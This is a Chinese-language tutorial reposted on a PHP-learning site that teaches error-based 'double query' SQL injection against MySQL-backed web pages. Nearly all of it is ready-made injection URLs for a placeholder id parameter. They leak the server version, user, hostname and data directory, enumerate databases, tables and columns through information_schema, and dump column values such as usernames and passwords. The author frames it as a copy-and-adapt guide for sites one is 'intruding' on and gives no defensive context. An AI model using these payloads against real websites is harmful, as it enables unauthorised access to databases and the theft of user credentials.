来源:自学PHP网 时间:2015-04-17 11:59 作者: 阅读:次
[导读] 这个东西比较难解释。我就不多解释。尽量通过这篇文章大家能够照猫画虎手注即可。想要深入理解的可以去看看mysql数据库的一些知识介绍一下双查询注入,有时候我们通过order by 语句...
这个东西比较难解释。我就不多解释。尽量通过这篇文章大家能够照猫画虎手注即可。想要深入理解的可以去看看mysql数据库的一些知识
介绍一下双查询注入,有时候我们通过order by 语句获取到了确定的列数,可是当我们使用union select或union select all查询的时候,
www.2cto.com /index.php?id=-1 union select 1,2,3,4,5,6--
却会出现一个错误提示,列数不一致。
Different Number of Columns
而我们使用下面的语句:
www.2cto.com /index.php?id=1 and (select 1 from (select count(*),concat((select(select concat(cast(concat(version(),user(),@@hostname,0x7e,@@datadir) as char),0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
执行之后就会显示mysql版本,用户名,服务器名, 以及数据目录…
获取数据库里
许多人会在上面的语句里使用:database()方法来获取数据库,
www.2cto.com /index.php?id=1 and (select 1 from (select count(*),concat((select(select concat(cast(database() as char),0x7e)) from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
可是。这个方法只能获取一个数据库。如果你入侵的网站存在多个数据库。上面这个查询就不能用了因此使用下面这个方法更好些。。
www.2cto.com /index.php?id=1 and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,0x27,cast(schema_name as char),0x27,0x7e) FROM information_schema.schemata LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1
不同点在于第二个查询语句在information_schema.schemata里查询 schema_name ,这样就能查到所有的数据库了。
注意语句中的Limit 0,1会显示地一个数据库,改成 Limit 1,1 会显示第二个 Limit 2,1 会显示第三个, Limit 3,1 会显示第四个。。以此类推。
补充个:
在普通的SQL注入中,使用如下的语句
www.2cto.com /index.php?id=-1 union select 1,2,3,4,5,schema_name,7,8 from information_schema.schemata--
会一次爆出所有的数据库
而使用下面的
www.2cto.com /index.php?id=-1 union select 1,2,3,4,5,database(),7,8--
只会显示当前站点使用的数据库。
获取表名
回正题,我们继续使用双查询来获取数据库的表:
www.2cto.com /index.php?id=1 and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,0x27,cast(table_name as char),0x27,0x7e) FROM information_schema.tables Where table_schema=0xHEX LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1
注意语句中的table_schema=0xHEX 这里的hex用你要查询的数据库进行hex编码后替换即可。
同样的,这里可以要修改LIMIT后面的值来得到第二个第三个第四个表。
获取列名
然后我们来获取列名:
www.2cto.com /index.php?id=1 and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,0x27,cast(column_name as char),0x27,0x7e) FROM information_schema.columns Where table_schema=0x"HEXDATABASE" AND table_name=0x"HEXTABLENAME" LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1
和上一句很像,注意这一句”And table_name=0xHEXEDTABLENAME”
还是一样的。后面的部分是要查询的表名的hex值,同时,通过增加后面的LIMIT值来获取更多的列名。下面是大家最感兴趣的地方。。从列里面取值。
获取列值
一些人使用:
www.2cto.com /index.php?id=1 and(select 1 from(select count(*),concat((select (select (SELECT concat(0x7e,0x27,cast("tablename"."columnname" as char),0x27,0x7e) FROM "databasename"."tablename" LIMIT 0,1) ) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1
也就是他们使用tablename.columnname
有个缺点就是一次只能获取一个列的值,要是该表有个1000多列啥的。。一个个就了。。为了更快一些。后来很多人开始使用这个:
www.2cto.com /index.php?id=1 and (select 1 from (select count(*),concat((select concat(username,0x7e,pass,0x7e7e) from "table" limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
这样一次就能获取多个列的值了,但是还有个bug,因为是直接从mysql的所有表里面找,并且没有指定数据库名,如果mysql有两个数据库有同样的一个表名。那么这样找出来的就不知道到底是哪个了。。就混乱了。。所以。现在我们用这个:
www.2cto.com /index.php?id=1 and (select 1 from (select count(*),concat((select(select concat(cast(concat(COLUMN_NAME,0x7e,COLUMN_NAME) as char),0x7e)) from database.table limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
好处一个是可以一次获取多个列的值,同时使用 database.table, 可以明确我们要找的表了。不要忘了增加LIMIT来获取下一条记录啊
错误之处还请指正。
|
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com